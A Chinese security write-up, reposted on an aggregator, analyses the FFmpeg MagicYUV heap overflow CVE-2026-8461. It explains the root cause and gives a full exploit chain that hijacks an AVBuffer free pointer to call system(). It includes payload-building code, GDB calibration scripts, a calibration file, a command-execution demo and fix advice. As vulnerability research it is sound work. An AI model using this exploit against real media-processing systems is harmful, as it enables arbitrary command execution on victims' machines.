CVE-2026-8461(PixelSmash)-分析及复现"

admin 2026-10-22 02:42:20 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

CVE-2026-8461(PixelSmash) - 分析及复现

原创

Y5neKO
Y5neKO

Y5Sec

2026年6月24日 15:36
四川

在小说阅读器读本章

去阅读

CVE-2026-8461(PixelSmash)— FFmpeg MagicYUV 解码器堆越界写入分析

CVE-2026-8461 是 FFmpeg MagicYUV 解码器中一处堆越界写入漏洞。通过精心构造的 AVI 文件可触发解码器将 640 字节数据写到 Cb 平面缓冲区末尾之外,在 ASLR 禁用、堆布局已知的条件下可进一步覆写 AVBuffer 函数指针,从而在解码过程中执行任意命令。本文记录漏洞成因及在受控环境(ASLR=0,x86\_64)下的完整利用过程。


1. 漏洞概述

MagicYUV 是一种无损视频编解码器,FFmpeg 在 libavcodec/magicyuv.c 中实现了其解码器。漏洞位于解码函数 magy_decode_slice() 的 8 位格式处理路径。

字段 内容
CVE 编号 CVE-2026-8461
漏洞类型 堆越界写入(Heap OOB Write,CWE-122)
受影响版本 FFmpeg ≤ 8.0.1
利用结果 代码执行(PoC 条件:ASLR=0,堆布局已知)

复现环境:Ubuntu 20.04,内核 5.4.0-196-generic,x86\_64,FFmpeg 8.0.1(gcc 9,-g -O0,含调试符号),glibc 2.31,ASLR 全局禁用(/proc/sys/kernel/randomize_va_space = 0)。


2. 漏洞根本原因

源码定位

漏洞在 libavcodec/magicyuv.c 的 magy_decode_slice() 函数中。该函数负责解码一个视频帧的单个 slice,对每个颜色平面分别处理行数据的写入。

关键代码(magicyuv.c:261-315):

static int magy_decode_slice(AVCodecContext *avctx, void *tdata,
                             int j, int threadnr)
{
    const MagicYUVContext *s = avctx->priv_data;
    ...
    for (i = 0; i < s->planes; i++) {
        // 行 273:实际需要处理的行数——用 FFMIN 截断到图像剩余高度
        int height = AV_CEIL_RSHIFT(
            FFMIN(s->slice_height, avctx->coded_height - j * s->slice_height),
            s->vshift[i]);

        // 行 275:标准 slice 高度——不考虑末尾截断
        int sheight = AV_CEIL_RSHIFT(s->slice_height, s->vshift[i]);

        // 行 287:dst 指针使用 sheight 计算偏移
        dst = p->data[i] + j * sheight * stride;

        if (flags & 1) {
            // 行 290:大小校验只检查 width * height(实际写入量)
            if (s->slices[i][j].size - 2 < width * height)
                return AVERROR_INVALIDDATA;

            // 行 292:循环按 height 行写入,但 dst 已经越界
            for (k = 0; k < height; k++) {
                bytestream_get_buffer(&slice, dst, width);  // ← OOB WRITE
                dst += stride;
            }
        }
        ...
        // 行 307-308:Left-prediction 原地解码
        case LEFT:
            dst = p->data[i] + j * sheight * stride;
            s->llviddsp.add_left_pred(dst, dst, width, 0);
    }
}

问题所在

height 和 sheight 的计算路径不同。height(行 273)先用 FFMIN 将值限制在图像实际剩余行数以内,再右移;sheight(行 275)直接对 slice_height 右移,不做截断。

dst 指针(行 287)用的是 sheight,因此当处理最后一个 slice 时,如果图像高度不是 slice_height 的整数倍,dst 就会指向平面缓冲区末尾之外的位置。随后的循环(行 292)虽然只写 height 行,但因为起始地址已经越界,写入的数据全部落在分配区域之外的堆内存上。

行 290 的大小校验只检查\"写入量是否超过 slice 数据\",无法察觉 dst 已经越界,所以校验形同虚设。


3. 漏洞触发条件

3.1 触发路径

magy_decode_slice() 仅在 ffmpeg 的主解码循环中被调用,avformat_open_input 或探测阶段不会触发完整解码。完整调用链:

ffmpeg -i evil.avi -f null -
  └─ 主解码循环
       └─ avcodec_send_packet(dec_ctx, pkt)
            └─ decode_simple_internal()
                 └─ magy_decode_frame()
                      └─ avctx->execute2(avctx, magy_decode_slice, ...)
                           └─ magy_decode_slice(avctx, tdata, j=1, threadnr)
                                └─ bytestream_get_buffer()  ← 640 字节 OOB 写入
  └─ av_frame_unref(frame)
       └─ av_buffer_unref(frame->buf[1])   ← Cb 平面 AVBuffer
            └─ refcount: 1 → 0
                 └─ b->free(b->opaque, b->data)  ← 劫持点

-f null - 是必须的输出描述符。不加输出时,ffmpeg 在打印流信息后直接退出,主解码循环不运行,av_buffer_unref 不会在解码帧的 Cb 缓冲区上触发,劫持的 free 指针永远不会被调用。

3.2 帧几何参数

要触发越界写入,需要构造使最后一个 slice 的 Cb 颜色平面的 dst 指针越过缓冲区末尾的 AVI 文件。

YUV420P 格式下,色度平面的 hshift=1,vshift=1:

  • • coded_width = 1280,色度宽度 = AV_CEIL_RSHIFT(1280, 1) = 640,stride = 640 字节
  • • coded_height = 32,色度高度 = AV_CEIL_RSHIFT(32, 1) = 16,Cb 缓冲区分配大小 = 640 × 16 = 10240 字节
  • • slice_height = 31

这组参数产生 2 个 slice(ceil(32/31) = 2)。对第二个 slice(j=1)的 Cb 平面:

sheight = AV_CEIL_RSHIFT(31, 1) = ceil(31/2) = 16

remaining = 32 - 1×31 = 1
height    = AV_CEIL_RSHIFT(FFMIN(31, 1), 1) = AV_CEIL_RSHIFT(1, 1) = 1

dst = Cb_data + j × sheight × stride
    = Cb_data + 1 × 16 × 640
    = Cb_data + 10240   ← 恰好指向 Cb 缓冲区末尾之后

dst 越过末尾后,循环写入 1 行 × 640 字节 = 640 字节越界数据,方向是堆的较高地址。

大小校验(magicyuv.c:290)检查的是 s->slices[i][j].size - 2 < width * height,即 slice 数据量是否不足 width × height 字节。对 j=1 的 Cb 平面:width × height = 640 × 1 = 640。只要 AVI 文件中该 slice 提供 ≥ 642 字节的数据(我们控制文件内容,这是平凡的),校验就通过,写入照常进行,但起始地址已经越界。

写入完成后,add_left_pred(行 307-308)对写入区域进行 left-prediction 累加和解码。这意味着攻击者不能直接控制写到堆上的值,而必须先做逆变换,下文会详细说明。


4. 利用链设计

4.1 堆布局——OOB 落点

越界写入本身不足以构成 RCE,关键在于写入内容落在了什么地方。通过 GDB 在 magicyuv.c:291 设置条件断点(j==1 && i==1),在 OOB 写入发生前转储堆内容:

(gdb) break magicyuv.c:291 if j==1 && i==1
(gdb) run -i /tmp/exploit.avi -f null - 2>/dev/null
(gdb) x/80gx dst

OOB 起始地址为 0x5555556c5d80。在这个地址往后 640 字节的范围内,堆布局如下:

OOB+0x000 ~ +0x04f : 空闲内存(全零)← 用于放置 shell 命令字符串
OOB+0x058          : Chunk A,size=0xa0,free,small bin
OOB+0x060          : Chunk A.fd → Chunk E
OOB+0x068          : Chunk A.bk → glibc 主 arena small bin 头

OOB+0x0f0          : Chunk B,prev_size=0xa0,size=0x40,allocated
OOB+0x100          : AVBuffer.data     = 0x5555556c3580  ← Cb 像素数据
OOB+0x108          : AVBuffer.size     = 0x284f
OOB+0x110          : AVBuffer.refcount = 0x1
OOB+0x118          : AVBuffer.free     = 0x55555560e0c0  ← av_buffer_default_free(待劫持)
OOB+0x120          : AVBuffer.opaque   = 0x5555556c5fc0  ← 待劫持

OOB+0x138          : Chunk C,size=0x41,free,small bin
OOB+0x178          : Chunk D,size=0x20,allocated,含 AVBufferRef
OOB+0x180          : AVBufferRef.buf   = 0x5555556c5e80  → AVBuffer
OOB+0x188          : AVBufferRef.data  = 0x5555556c3580

OOB+0x198          : Chunk E,size=0xa0,free,small bin
OOB+0x1a0          : Chunk E.fd → Chunk A(形成双向链表)

Cb 平面的 AVBuffer 结构体恰好位于 OOB 区域内(OOB+0x100,即越界起点后 256 字节处)。

为什么 AVBuffer 在 OOB+256?

这来自 FFmpeg 帧缓冲区的分配顺序。magy_decode_frame() 通过 ff_get_buffer() → avcodec_default_get_buffer2() → av_frame_get_buffer() 为各颜色平面依次分配资源。以 Cb 平面(plane index 1)为例,av_buffer_alloc(cb_size) 内部连续执行两次 malloc:

  1. 1. av_malloc(10240) → Cb 像素数据块(glibc chunk,用户数据 10240 字节,即整个 Cb 缓冲区)
  2. 2. av_malloc(sizeof(AVBuffer)) → AVBuffer 管理结构体(~0x30 字节)

ASLR=0 的条件下,glibc 堆分配完全确定——相同二进制、相同输入路径、相同 glibc 版本,每次运行的分配地址完全一致。Cb 数据块结束后,堆上不是直接紧跟 AVBuffer,而是夹着 Chunk A(一个 0xa0 字节的 free chunk,来自解码初始化期间某次 alloc/free 配对)以及 AVBuffer 所在 Chunk B 的 0x10 字节 glibc 头部,合计恰好 0x100 = 256 字节。Calibration 的作用就是自动捕获这一布局的精确偏移,无需从分配顺序推算。

4.2 AVBuffer 函数指针劫持

AVBuffer 结构定义于 libavutil/buffer_internal.h:38:

struct AVBuffer {
    uint8_t *data;                        // +0x00
    size_t   size;                        // +0x08
    atomic_uint refcount;                 // +0x10
    void (*free)(void *opaque, uint8_t *data); // +0x18 ← 劫持目标
    void *opaque;                         // +0x20 ← 劫持目标
    int flags;                            // +0x28
};

当 av_buffer_unref() 将 refcount 从 1 减到 0 时,它执行(libavutil/buffer.c:130):

b->free(b->opaque, b->data);

x86-64 调用约定下,第一个参数(b->opaque)放入 rdi,system() 只读第一个参数。因此:

    1. 将 AVBuffer.free 覆写为 system() 的地址
    1. 将 AVBuffer.opaque 覆写为 shell 命令字符串所在堆地址(即 OOB+0x00)
    1. 保持 AVBuffer.refcount = 1,保证减到 0 后触发回调

帧被释放时,调用等价于:

system(\"id > /tmp/pwned\");

4.3 Left-Prediction 逆变换

越界写入的数据在真正写到堆上之前,会被 add_left_pred 做累加和解码:

decoded[0] = raw[0]
decoded[i] = (decoded[i-1] + raw[i]) & 0xFF

因此文件中存储的不能是期望出现在堆上的值,而必须是经过逆变换后的值。逆变换(exploit_cve_2026_8461.py 中的 left_pred_encode())为:

def left_pred_encode(desired: bytes) -> bytes:
    raw = bytearray(len(desired))
    raw[0] = desired[0]
    for i in range(1, len(desired)):
        raw[i] = (desired[i] - desired[i-1]) & 0xFF
    return bytes(raw)

写入 AVI 文件的是 left_pred_encode(desired);add_left_pred 解码后,堆上得到的是 desired——即我们精确控制的 payload。

add_left_pred 每行以参数 0 作为初始累加值(add_left_pred(dst, dst, width, 0)),因此 j=1 的 OOB 行与 j=0 的内容完全无关,逆变换只需针对 j=1 的 640 字节独立计算。j=0 的 Cb slice 在正常缓冲区范围内写入,填充全零像素是为了给解码器提供合法的像素数据,与 payload 无关。


5. Exploit 生成器

exploit_cve_2026_8461.py 将上述利用链封装为自动化工具。核心参数固定在脚本顶部:

WIDTH        = 1280   # 色度宽度 640
HEIGHT       = 32     # 总行数
SLICE_HEIGHT = 31     # 触发 OOB 的关键
NB_SLICES    = 2

build_cb_oob_payload() 按以下顺序构建 640 字节 payload:

payload = bytearray(640)   # 全零基底

# 1. OOB+0 处放 shell 命令(NUL 结尾)
payload[0:len(cmd_bytes)] = cmd_bytes

# 2. 写入 glibc chunk 元数据,防止堆结构被清零破坏
for off, data in cal.glibc_metadata.items():
    payload[off:off+len(data)] = data

# 3. 覆写 AVBuffer 三个关键字段
struct.pack_into('<I', payload, avb + 16, 1)                    # refcount = 1
struct.pack_into('<Q', payload, avb + 24, cal.system_addr)      # free = system()
struct.pack_into('<Q', payload, avb + 32, cal.cmd_heap_addr)    # opaque = 命令地址

# 4. 写入需要保留的堆指针(优先级高于 glibc_metadata)
for off, data in cal.preserve.items():
    payload[off:off+len(data)] = data

payload 经 left_pred_encode() 后写入 AVI 文件的 Slice 1 数据区。同时,Cr 平面的越界区域写入 cr_metadata 保留的 chunk 元数据,防止 Cr OOB 写入破坏堆。

AVI 容器由 build_avi() 封装,slice_height 字段写入 31(p32(SLICE_HEIGHT)),这是触发解码器走到漏洞路径的关键。


6. 自动 Calibration

Calibration 记录了目标运行时的三类信息:system() 的运行时地址、命令字符串落点(cmd_heap_addr)、以及 OOB 区域内每个 glibc chunk 的元数据。exploit 生成器依赖这些参数精确构建 payload。

ASLR 必须全局禁用才能使 calibration 有效:setarch -R 只设置进程级 ADDR_NO_RANDOMIZE,只禁用栈随机化,堆和 mmap 区域(包括 libc)仍然随机。正确做法是 sudo sysctl -w kernel.randomize_va_space=0,禁用后同一二进制+同一输入路径每次运行的所有地址完全重现。

Calibration 数据格式

calibration.json 包含两个关键字段,来源于 OOB 区域的堆分析:

glibc_metadata:OOB 写入后必须保持原值的 chunk size 字段(以 OOB 相对偏移为 key,little-endian hex 为 value)。payload 的全零基底会清空整个 640 字节区域;如果任何一个 chunk 的 size 字段(如 Chunk B 在 OOB+0xf8 的 size=0x40)被清零,glibc 下次调用 malloc 时扫描堆就会遇到 size=0 的异常 chunk,在 av_buffer_unref 触发 system() 之前就已经 abort。

preserve:必须保留原值的堆指针,包括 free chunk 的 fd/bk 链表指针(小端序,字节序写反即触发 corrupted double-linked list)和 AVBuffer/AVBufferRef 的 data/size 字段。preserve 覆写优先级高于 glibc_metadata,最后写入 payload,确保不被覆盖。

auto\_calibrate.py — 调试版(含 -g 符号)

适用场景:FFmpeg 从源码编译含 DWARF 调试信息(-g),或通过包管理器安装了 -dbg 包。

该脚本利用 magicyuv.c:291 的行号断点,在 OOB 写入发生之前捕获 Cb 和 Cr 平面的堆快照:

break magicyuv.c:291 if j==1 && i==1   ← Cb OOB 写入前
commands 1
  printf \"==CB_OOB==\
\"
  printf \"ADDR=0x%lx\
\", (unsigned long)dst
  x/80gx dst                            ← 转储 640 字节
  printf \"==END_CB==\
\"
  continue
end

break magicyuv.c:291 if j==1 && i==2   ← Cr OOB 写入前
commands 2
  ...
  printf \"SYSTEM=0x%lx\
\", (unsigned long)&system
  ...
end

断点在写入之前触发,堆处于干净状态。Python 解析转储后,通过以下两步找到 AVBuffer:

遍历 glibc chunk(walk_chunks()):扫描每个 8 字节对齐位置,检查 size_field 是否构成合法 chunk 头(32 ≤ size ≤ 65536,16 字节对齐,无 IS\_MMAPPED/NON\_MAIN\_ARENA 标志),同时验证 next chunk 合法,并通过 next_chunk.PREV_INUSE == 0 判断当前 chunk 是否为 free。

识别 AVBuffer(find_avbuffer()):在 allocated chunk 的用户数据区寻找满足以下条件的结构:data 是有效指针,size 为合理正整数,refcount == 1,free 是代码段地址。

用法:

sudo sysctl -w kernel.randomize_va_space=0

python3 auto_calibrate.py \\
    --ffmpeg /path/to/ffmpeg-with-debug \\
    --avi    /tmp/exploit.avi \\
    -o       calibration.json

输出:

[*] Generating probe AVI -> /tmp/exploit.avi
[*] Running GDB probe (ffmpeg=/tmp/ffmpeg-8.0.1/ffmpeg)...
[*] Building calibration...
  chunks:
    OOB+0x50:  size=0xa0 FREE
    OOB+0xf0:  size=0x40 ALLOC
    OOB+0x130: size=0x40 FREE
    OOB+0x170: size=0x20 ALLOC
    OOB+0x190: size=0xa0 FREE
  AVBuffer @ OOB+0x100: data=0x5555556c3580, free=0x55555560e0c0
  AVBufferRef @ OOB+0x180
  Cr: 1 chunk(s) preserved

[+] calibration.json
    system()  = 0x7ffff7c89290
    avbuf_at  = 256
    entries   = 6 metadata, 12 preserve

auto\_calibrate\_nosym.py — 生产版(无调试符号)

适用场景:apt install ffmpeg 等方式安装的 stripped 二进制,或以 --enable-shared --enable-stripping 编译的动态链接版本。这类二进制 .symtab 为空,行号断点无法使用。

生产版脚本改用两个不需要调试符号的 GDB 技术。

Phase 1 — 在 av_buffer_create 入口捕获数据指针

av_buffer_create(uint8_t *data, size_t size, ...) 是 libavutil 的公开 API,无论是否 strip 都保留在 libavutil.so 的 .dynsym 中。在函数入口处(x86\_64 的 $rdi/$rsi,aarch64 的 $x0/$x1),data 和 size 参数直接可读,无需 finish。脚本读取目标二进制的 ELF e\_machine 字段自动选择正确的寄存器名称:

def abi_regs(e_machine: int) -> tuple:
    if e_machine == EM_AARCH64:
        return '$x0', '$x1'
    if e_machine == EM_ARM:
        return '$r0', '$r1'
    return '$rdi', '$rsi'  # x86_64

通过大小过滤(CB_SIZE_MIN=8192 到 CB_SIZE_MAX=20480),捕获所有 Cb/Cr 缓冲区的分配地址作为候选。

Phase 2 — 硬件写监视点截获堆快照

对每个候选地址的 Cb_data + OOB_OFFSET(10240 字节)设置硬件写监视点:

watch *(char*)(OOB_START)

监视点在 OOB 写入的第一个字节后触发。此时 OOB+1 以后的堆内容完整,从 OOB+8 开始转储 79 个 qword(共 632 字节,跳过已被写入的首字节)。转储中出现合法 glibc chunk 的候选即为真正的 Cb OOB 起点,其余候选(Cr 缓冲区)另行探测。system() 地址通过 printf \"SYSTEM=0x%lx\ \", (unsigned long)&system 读取,无需任何调试符号。

用法:

sudo sysctl -w kernel.randomize_va_space=0

# 系统安装版(apt/yum)
python3 auto_calibrate_nosym.py --avi /tmp/exploit.avi -o calibration.json

# 非标准路径安装(指定库目录)
python3 auto_calibrate_nosym.py \\
    --ffmpeg  /opt/ffmpeg/bin/ffmpeg \\
    --libpath /opt/ffmpeg/lib \\
    --avi     /tmp/exploit.avi \\
    -o        calibration.json

输出(生产版 FFmpeg 8.0.1,stripped,动态链接):

[*] Generating probe AVI -> /tmp/exploit_prod.avi
[*] Phase 1: locating Cb/Cr buffer addresses...
    2 candidate(s):
      0x5555555c5440 size=10319 -> OOB 0x5555555c7c40
      0x5555555fdf40 size=10319 -> OOB 0x555555600740
[*] Phase 2: verifying OOB start via hardware watchpoint...
    [1/2] testing 0x5555555c7c40 ...
        valid — 6 chunks found, system=0x7ffff4f21290
[*] Phase 2b: probing Cr region 0x555555600740 ...
    Cr: 1 chunk(s) preserved
[*] Building calibration...
  chunks:
    OOB+0x50:  size=0x70 ALLOC
    OOB+0xc0:  size=0x30 ALLOC
    OOB+0xf0:  size=0x40 ALLOC
    OOB+0x130: size=0x40 ALLOC
    OOB+0x170: size=0x20 ALLOC
    OOB+0x190: size=0x70 ALLOC
  AVBuffer @ OOB+0x100: data=0x5555555c5440, free=0x7ffff52880c0
  AVBufferRef @ OOB+0x180

[+] calibration.json
    system()  = 0x7ffff4f21290
    avbuf_at  = 256
    entries   = 6 metadata, 5 preserve

生产版(-O2)与调试版(-O0 -g)的 chunk 结构完全不同(size=0x70 vs size=0xa0 等),这说明两套 calibration 脚本不能混用,也说明手工记录 chunk 布局在不同编译选项下无法通用。

AVI 路径必须一致

probe 和 exploit 必须使用完全相同的 AVI 路径。avformat_open_input 在内部对输入路径做 av_strdup(),将路径字符串拷贝到堆上。路径长度不同意味着 strdup malloc chunk 的大小不同,后续所有分配的地址随之偏移,calibration 记录的 cmd_heap_addr 和所有 chunk 偏移立即失效。

实验中曾用 /tmp/_auto_calibrate_probe.avi(29 字符)作为 probe 路径,而用 /tmp/exploit.avi(16 字符)投递 exploit,结果 cmd_heap_addr 偏移 0x40,所有 chunk 边界偏移,触发 corrupted double-linked list。两个脚本均通过 --avi 参数强制 probe 与 exploit 使用同一绝对路径(默认 /tmp/exploit.avi)。

Calibration 文件示例

以下为调试版 FFmpeg 8.0.1(Ubuntu 20.04,glibc 2.31,ASLR=0,AVI 路径 /tmp/exploit.avi)上生成的完整 calibration:

{
  \"system_addr\": \"0x7ffff7c89290\",
  \"cmd_at\": 0,
  \"cmd_maxlen\": 88,
  \"avbuffer_at\": 256,
  \"avb_refcount_off\": 16,
  \"avb_free_off\": 24,
  \"avb_opaque_off\": 32,
  \"cmd_heap_addr\": \"0x5555556c5d80\",
  \"glibc_metadata\": {
    \"0x58\":  \"a100000000000000\",
    \"0xf0\":  \"a000000000000000\",
    \"0xf8\":  \"4000000000000000\",
    \"0x110\": \"0100000000000000\",
    \"0x138\": \"4100000000000000\",
    \"0x198\": \"a100000000000000\"
  },
  \"cr_metadata\": {
    \"0x50\": \"5100000000000000\",
    \"0xa0\": \"a149000000000000\"
  },
  \"preserve\": {
    \"0x60\":  \"105f6c5555550000\",
    \"0x68\":  \"703ce2f7ff7f0000\",
    \"0x100\": \"80356c5555550000\",
    \"0x108\": \"4f28000000000000\",
    \"0x140\": \"b0086c5555550000\",
    \"0x148\": \"103ce2f7ff7f0000\",
    \"0x170\": \"4000000000000000\",
    \"0x178\": \"2000000000000000\",
    \"0x180\": \"805e6c5555550000\",
    \"0x188\": \"80356c5555550000\",
    \"0x190\": \"4f28000000000000\",
    \"0x1a0\": \"500b6c5555550000\",
    \"0x1a8\": \"d05d6c5555550000\"
  }
}

7. 复现验证

生成 exploit AVI:

python3 exploit_cve_2026_8461.py \\
    --calibration calibration.json \\
    --cmd \"id > /tmp/pwned\" \\
    -o /tmp/exploit.avi
[+] /tmp/exploit.avi (61 KB, 1 frame(s))
    cmd: id > /tmp/pwned
  ffmpeg -i /tmp/exploit.avi -f null -
  expected: command executes, then process crashes

触发:

ffmpeg -i /tmp/exploit.avi -f null -
# ...
# corrupted size vs. prev_size    ← 预期崩溃,system() 已完成

cat /tmp/pwned
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),...

进程崩溃在 system() 成功返回后——system() 内部调用 malloc 时遇到已被 exploit 修改过的堆结构,触发次级崩溃,但命令已执行完毕。

完整执行时序:

ffmpeg -i exploit.avi -f null -
  └─ avformat_find_stream_info()
       └─ magy_decode_slice(j=1, i=1)
            ├─ dst = Cb_data + 10240          (越过 Cb 缓冲区末尾)
            ├─ bytestream_get_buffer()         640 字节 OOB 写入(raw 编码)
            └─ add_left_pred()                 left-prediction 解码 → 堆上出现期望值
                 ├─ AVBuffer.free  = system()
                 └─ AVBuffer.opaque = \"id > /tmp/pwned\" 地址
       └─ 帧清理:av_buffer_unref(Cb_buf)
            └─ refcount: 1 → 0
                 └─ b->free(b->opaque, b->data)
                      = system(\"id > /tmp/pwned\")

成功写入文件。


8. 架构支持

本 PoC 在 x86\_64 上开发和验证。aarch64 上的情况不同。

通过 auto_calibrate_nosym.py 在 aarch64 系统上测试,Phase 1 和 Phase 2 均能正常触发(av_buffer_create 断点命中,硬件监视点在 OOB 写入时触发),确认漏洞在 aarch64 上也存在。但 Phase 2 的堆转储中找不到有效的 glibc chunk,calibration 无法完成。

原因在于堆布局不同。在 aarch64 上,Cb 缓冲区(~10272 字节)被分配为一个 ~10288 字节的 glibc chunk。OOB_START = Cb_data + 10240 落在该 chunk 末尾 32 字节处,紧接着的下一个 chunk 是 Cr 缓冲区(同样 ~10288 字节)。这个大 chunk 的 next_off = 32 + 10288 = 10320,远超 640 字节的转储窗口,walk_chunks() 无法验证链有效。更根本的问题是:OOB 写入只有 640 字节,而 AVBuffer 在 aarch64 的堆布局中位于 OOB+10320 以外,写入内容根本触达不到 AVBuffer——不只是 calibration 失败,exploit 本身也不可行。

在 x86\_64 上,-O2 和 -O0 -g 两种编译下 AVBuffer 恰好都落在 OOB+256 附近,是 glibc 在该架构上特定分配顺序的结果,不是设计保证。

要将 exploit 移植到 aarch64,需要先在 aarch64 上分析堆布局,确定 AVBuffer 相对于 Cb\_data 的实际位置,再调整帧几何参数(例如加宽 WIDTH 以增大 OOB 写入窗口),使 OOB 写入能够覆盖到 AVBuffer 所在位置。这是独立的移植工作。


9. 修复建议

漏洞根源是 dst 指针用 sheight(未截断的标准高度)计算偏移,而写入循环用 height(截断后的实际高度)控制行数,两者不一致。

推荐修复(修改 dst 计算方式):

// 修复前(magicyuv.c:287)
dst = p->data[i] + j * sheight * stride;

// 修复后:在写入前验证 dst 不超出缓冲区边界
if (dst + (ptrdiff_t)height * stride > p->data[i] + buf_allocated_size)
    return AVERROR_INVALIDDATA;

或者在分配缓冲区时以 sheight 而非 height 计算大小,确保 dst 跳到第 j 个 slice 时不会越界。

替代方案:在 magy_decode_init() 的几何参数校验阶段,检查 slice_height 与 coded_height 的组合是否会导致最后一个 slice 的 sheight > height,如果是则拒绝处理。这是更早的防线,不依赖逐帧检查。


10. EXP项目地址

https://github.com/Y5neKO/CVE-2026-8461-EXP


CVE-2026-8461(PixelSmash)-分析及复现" 网络安全文章

CVE-2026-8461(PixelSmash)-分析及复现"

CVE-2026-8461是FFmpegMagicYUV解码器中存在的堆越界写入漏洞,当处理特定构造的AVI文件时,解码器会将640字节数据写入Cb平面缓冲区之外的内存区域。该漏洞源于magy_decode_slice函数中height与sheight计算逻辑差异导致的指针越界,在ASLR禁用环境下可精准覆盖AVBuffer结构体的函数指针,进而实现任意代码执行。文档详细分析了漏洞成因、触发条件及完整利用链,包括堆布局操控和指针劫持技术。
安博通创始人、董事长钟竹受邀出席第十七届夏季达沃斯论坛" 网络安全文章

安博通创始人、董事长钟竹受邀出席第十七届夏季达沃斯论坛"

安博通创始人钟竹受邀出席2026年夏季达沃斯论坛,分享AI与数字安全产业规模化创新实践。该公司作为科创板首家网络安全企业,提出安全可视化理念并战略升级为AI安全算力生态构建者,推出溢彩AI交付架构和鲁班安全大模型,已服务10万企业客户并在无锡、河南等地智算中心落地解决方案。
逻辑漏洞之注册模块" 网络安全文章

逻辑漏洞之注册模块"

本文详细剖析了Web应用注册模块中的逻辑漏洞,将其划分为身份缺陷、验证码机制和账号接管三大类,并列举了任意用户注册、越权注册VIP账号、验证码绕过、账号覆盖等30余种具体漏洞的原理、危害及测试方法,同时提供了相应的防护建议,旨在帮助安全人员全面识别和防范注册环节的安全风险。
V模型——系统工程的\"生命周期地图\"" 网络安全文章

V模型——系统工程的\"生命周期地图\""

V模型通过V字形结构将设计拆解与测试集成严格对应,强调测试计划应与设计同步制定。文章厘清了验证与确认的区别,以及从单元到验收的逐层测试逻辑。针对敏捷开发,V模型演进出迭代式V模型,即将大V拆为多个Sprint小V。建议在安全关键领域采用此融合模式,兼顾严格测试与需求迭代,尽早发现缺陷以降低返工成本。
评论:0   参与:  0